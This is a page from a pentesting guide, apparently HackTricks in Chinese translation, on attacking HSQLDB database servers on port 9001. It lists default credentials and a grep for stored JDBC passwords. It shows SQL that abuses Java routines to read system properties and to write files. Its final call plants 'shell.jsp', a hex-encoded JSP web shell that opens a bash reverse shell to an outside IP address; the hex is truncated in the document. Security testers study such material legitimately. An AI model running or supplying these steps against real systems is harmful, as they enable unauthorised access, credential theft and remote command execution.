hacktricks/network-services-pentesting/9001-pentesting-hsqldb.md
2023-08-03 19:12:22 +00:00

5.9 KiB
Raw Blame History

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本信息

HSQLDBHyperSQL DataBase是一种用Java编写的领先的SQL关系数据库系统。它提供了一个小型、快速的多线程和事务性数据库引擎支持内存和基于磁盘的表并支持嵌入式和服务器模式。

默认端口: 9001

9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

信息

默认设置

请注意,默认情况下,此服务可能在内存中运行或绑定到本地主机。如果您找到了它,那么您可能已经利用了另一个服务,并且正在寻找提升权限的方法。

默认凭据通常为sa,密码为空。

如果您已经利用了另一个服务,请搜索可能的凭据使用

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

请仔细注意数据库名称 - 您需要它来进行连接。

信息收集

通过下载 HSQLDB并提取 hsqldb/lib/hsqldb.jar 来连接到数据库实例。使用 java -jar hsqldb.jar 运行 GUI 应用程序(呃呃呃),并使用发现的/弱密码连接到实例。

请注意,对于远程系统,连接 URL 将类似于 jdbc:hsqldb:hsql://ip/DBNAME

技巧

Java 语言例程

我们可以使用 Java 语言例程从 HSQLDB 调用 Java 类的静态方法。请注意,被调用的类需要在应用程序的类路径中。

JRTs 可以是 函数过程。如果 Java 方法返回一个或多个与 SQL 兼容的原始变量,则可以通过 SQL 语句调用函数。它们使用 VALUES 语句调用。

如果我们要调用的 Java 方法返回 void则需要使用使用 CALL 语句调用的过程。

读取 Java 系统属性

创建函数:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

执行函数:

VALUES(getsystemproperty('user.name'))

您可以在此处找到系统属性列表

将内容写入文件

您可以使用位于JDK中自动加载到应用程序的类路径中com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename Java小工具通过自定义过程将十六进制编码的项目写入磁盘。请注意最大大小为1024字节

创建过程:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

执行过程:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥